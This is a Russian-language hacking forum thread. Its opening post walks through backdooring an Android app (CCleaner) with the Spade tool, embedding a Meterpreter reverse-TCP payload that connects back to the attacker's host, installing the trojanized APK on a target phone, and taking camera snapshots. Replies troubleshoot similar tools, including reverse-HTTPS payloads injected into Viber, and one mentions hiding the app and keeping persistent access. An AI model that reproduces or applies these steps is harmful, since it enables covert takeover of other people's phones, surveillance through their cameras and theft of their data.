Статья Взлом Android-устройства

Привет! В этой публикации, я опишу действенный способ взлома телефона под управлением ОС Android. Он основывается на сшивании полезной нагрузки с APK файлом.

Для начала скачаем любую программу под Android ( я выбрал, для примера CCleaner) с сайта , попробуем, для начала, на ней.

Затем скачиваем для нашей Kali Linux софт под названием Spade. Для этого пишем в терминале следующее:
Код:
git clone https://github.com/suraj-root/spade.git
upload_2016-10-17_20-20-41.png


После успешного выполнения команды, вводим следующее:

> ./spade.py /root/Desktop/ccleaner.apk (тут мы указываем программе, с каким файлом она должна работать)

После запуска указанной команды вас встретит меню, в котором необходимо будет выбрать тип пайлоада (я выбирал 3), затем она попросит вас указать адрес хоста, на который полезная нагрузка будет «стучаться» в попытке установить соединение. Так же необходимо будет ввести порт.

> lhost > 192.168.0.103

> lport > 4444

upload_2016-10-17_20-21-32.png


upload_2016-10-17_20-21-40.png


Запускаем процесс, который внедрит нашу полезную нагрузку в файл APK.

upload_2016-10-17_20-22-6.png


Видим привилегии, которые нам доступны:

upload_2016-10-17_20-22-32.png


Готовый файл сохраняется в директории /root/spade

upload_2016-10-17_20-22-51.png


На запрос этой настройки отвечаем утвердительно:

upload_2016-10-17_20-23-18.png


Теперь необходимо передать созданный файл нашему целевому устройству. Копируем его на телефон, устанавливая его по стандартной схеме. После запуска приложения, если все сделано, верно, то видим открывшуюся сессию meterpreter:

upload_2016-10-17_20-23-36.png


Попробуем осмотреться в системе:

upload_2016-10-17_20-23-55.png


Все работает, теперь можно испытать работу, к примеру, камеры:
Код:
webcam_snap
upload_2016-10-17_20-24-23.png


И эта команда срабатывает успешно:

upload_2016-10-17_20-24-45.png


На этом все, спасибо за внимание.

Данная статья опубликована исключительно в ознакомительных целях и не является руководством к действиям.
Ссылка на оригинал -
 
Последнее редактирование:
ВОт полная версия моих бед
яву только поставил вот.. Не изменилось ничего.
I: Using Apktool 2.2.0
I: Smaling smali folder into classes.dex...
I: Building resources...
Exception in thread "main" brut.androlib.AndrolibException: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:473)
at brut.androlib.Androlib.buildResources(Androlib.java:407)
at brut.androlib.Androlib.build(Androlib.java:306)
at brut.androlib.Androlib.build(Androlib.java:263)
at brut.apktool.Main.cmdBuild(Main.java:224)
at brut.apktool.Main.main(Main.java:84)
Caused by: brut.androlib.AndrolibException: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:439)
at brut.androlib.Androlib.buildResourcesFull(Androlib.java:459)
... 5 more
Caused by: brut.common.BrutException: could not exec: [/tmp/brut_util_Jar_8800473881750166502.tmp, p, --forced-package-id, 127, --min-sdk-version, 15, --target-sdk-version, 19, --version-code, 71411662, --version-name, v1.16.62, -F, /tmp/APKTOOL1285785051649100975.tmp, -0, arsc, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/spade/ccleaner/res, -M, /root/spade/ccleaner/AndroidManifest.xml]
at brut.util.OS.exec(OS.java:97)
at brut.androlib.res.AndrolibResources.aaptPackage(AndrolibResources.java:433)
... 6 more
Caused by: java.io.IOException: Cannot run program "/tmp/brut_util_Jar_8800473881750166502.tmp": error=2, Нет такого файла или каталога
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1047)
at brut.util.OS.exec(OS.java:90)
... 7 more
Caused by: java.io.IOException: error=2, Нет такого файла или каталога
at java.lang.UNIXProcess.forkAndExec(Native Method)
at java.lang.UNIXProcess.<init>(UNIXProcess.java:186)
at java.lang.ProcessImpl.start(ProcessImpl.java:130)
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1028)
... 8 more
[*] Signing apk...
java.io.FileNotFoundException: ccleaner/dist/ccleaner.apk (Нет такого файла или каталога)
at java.util.zip.ZipFile.open(Native Method)
at java.util.zip.ZipFile.<init>(ZipFile.java:215)
at java.util.zip.ZipFile.<init>(ZipFile.java:145)
at java.util.jar.JarFile.<init>(JarFile.java:154)
at java.util.jar.JarFile.<init>(JarFile.java:133)
at orig.SignApk.main(SignApk.java:488)
[+] Successfully backdoored and saved as ccleaner-final.apk
 
На GitHub нашел еще один скрип для взлома Ве(а)дроид устройств, https://github.com/dana-at-cp/backdoor-apk работает как же как Spade. Только ошибка у меня на этот раз другая :D. При генерации плейлоада не может создать или записать RCA(RSA) ключ.
 
Ну тема поста немного спорная...Я не уверен что любое устройство можно взломать...Статья хорошая,автору спасибо.
От себя хочу заметить что из недостатков готовых тулз для инжекта в приложения на андроид можно выделить один большой недостаток - это отсудствия закрепления в системе(persistence) и держания доступа.На сегодняшний день существует методы сделать закрепления в системе и скрытое приложения которое не отображается в списке приложений.
 
Ну тема поста немного спорная...Я не уверен что любое устройство можно взломать...Статья хорошая,автору спасибо.
От себя хочу заметить что из недостатков готовых тулз для инжекта в приложения на андроид можно выделить один большой недостаток - это отсудствия закрепления в системе(persistence) и держания доступа.На сегодняшний день существует методы сделать закрепления в системе и скрытое приложения которое не отображается в списке приложений.
Да, немного громко сказано, поправлюсь)))
 
root@kali:~/Рабочий стол# ruby apk-embed-payload.rb viber.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443
[*] Generating msfvenom payload..
[*] Signing payload..
[*] Decompiling orignal APK..
Input file (стол/original) was not found or was not readable.
[*] Decompiling payload APK..
Input file (стол/payload) was not found or was not readable.
apk-embed-payload.rb:190:in `initialize': No such file or directory @ rb_sysopen - original/AndroidManifest.xml (Errno::ENOENT)
from apk-embed-payload.rb:190:in `open'
from apk-embed-payload.rb:190:in `<main>'
Оба файла на рабочем столе. Может кто подскажет в чём проблэм.
Заранее спасибо.
 
root@kali:~/Рабочий стол# ruby apk-embed-payload.rb viber.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443
[*] Generating msfvenom payload..
[*] Signing payload..
[*] Decompiling orignal APK..
Input file (стол/original) was not found or was not readable.
[*] Decompiling payload APK..
Input file (стол/payload) was not found or was not readable.
apk-embed-payload.rb:190:in `initialize': No such file or directory @ rb_sysopen - original/AndroidManifest.xml (Errno::ENOENT)
from apk-embed-payload.rb:190:in `open'
from apk-embed-payload.rb:190:in `<main>'
Оба файла на рабочем столе. Может кто подскажет в чём проблэм.
Заранее спасибо.
Видимо скрипт как то кривовато пути прочитал... Попробуй создать папку без пробелов ( к примеру Android_Hack)
Помести туда нужные файлы ( apk-embed-payload.rb и viber.apk)
И попробуй повторить команду в терминале.
Если не исправить проблему ,отпиши,если исправит - тож отпиши)))
 
  • Нравится
Реакции: Сергей Попов
<<-D4rkN0d3_Falc0m->> Спасибо. Наверное в этом и была проблема. Перенёс файлы в домашнюю директорию и всё заработало. Оригинальный файл viber весит 31.6 мб а с бекдором у меня получился 31.8мб. Точто такой же размер файла (31.8мб) скачивается с сайта , прикольно, то есть у них уже апэкашки идут с приколами разными? )))
 
  • Нравится
Реакции: VladOk и <~DarkNode~>
mkdir: невозможно создать каталог бла бла бла, что то не дает доступ к apk?
Может ли испортить пути русская версия Kali? Грешу на это!
 
[*] Started spade at 17:10:39
[*] Check file /home/Android_Hack/ifont.apk
[+] File /home/Android_Hack/ifont.apk OK
PAYLOADS
[1] android/meterpreter/reverse_http
[2] android/meterpreter/reverse_https
[3] android/meterpreter/reverse_tcp
[4] android/shell/reverse_http
[5] android/shell/reverse_https
[6] android/shell/reverse_tcp
Payload> 3
LHOST> 192.168.0.100
LPORT> 4444
[*] Generating payload...
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8323 bytes
Saved as: temp.apk
[+] Payload created as temp.apk
[*] Decompiling apks...
sh: 1: ./apktool.sh: not found
sh: 1: ./apktool.sh: not found
[*] Injecting payload...
mkdir: невозможно создать каталог «ifont/smali/com/metasploit»: Нет такого файла или каталога
mkdir: невозможно создать каталог «ifont/smali/com/metasploit/stage»: Нет такого файла или каталога
cp: не удалось выполнить stat для 'temp/smali/com/metasploit/stage/Payload*': Нет такого файла или каталога
[-] [Errno 2] No such file or directory: 'ifont/AndroidManifest.xml'

Как то так((
 
Последнее редактирование модератором:
[*] Decompiling apks...
sh: 1: ./apktool.sh: not found
sh: 1: ./apktool.sh: not found
[*] Injecting payload...
mkdir: невозможно создать каталог «ifont/smali/com/metasploit»: Нет такого файла или каталога
mkdir: невозможно создать каталог «ifont/smali/com/metasploit/stage»: Нет такого файла или каталога
cp: не удалось выполнить stat для 'temp/smali/com/metasploit/stage/Payload*': Нет такого файла или каталога
[-] [Errno 2] No such file or directory: 'ifont/AndroidManifest.xml'

Как то так((
Вот твоя проблема...

sh: 1: ./apktool.sh: not found

sh: 1: ./apktool.sh: not found

Нужно тебе или скрипт править или поискать по папкам apktool.sh и кинуть в одну директорию со скриптом.
 
Вот твоя проблема...

sh: 1: ./apktool.sh: not found

sh: 1: ./apktool.sh: not found

Нужно тебе или скрипт править или поискать по папкам apktool.sh и кинуть в одну директорию со скриптом.
Это странно потому что в папке скрипт присутствует, значит надо править?
 
drwxrwxrwx 2 root root 4,0K ноя 14 16:51 .
drwxrwxrwx 4 root root 4,0K ноя 14 17:15 ..
-rwxrwxrwx 1 root root 7,8M ноя 14 15:39 ifont.apk
 
drwxrwxrwx 2 root root 4,0K ноя 14 16:51 .
drwxrwxrwx 4 root root 4,0K ноя 14 17:15 ..
-rwxrwxrwx 1 root root 7,8M ноя 14 15:39 ifont.apk
Эмм...
А полностью команда которою запускаешь как выглядить?
И содержания папки где лежит сам скрипт?
 
  • Нравится
Реакции: useralexrc
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!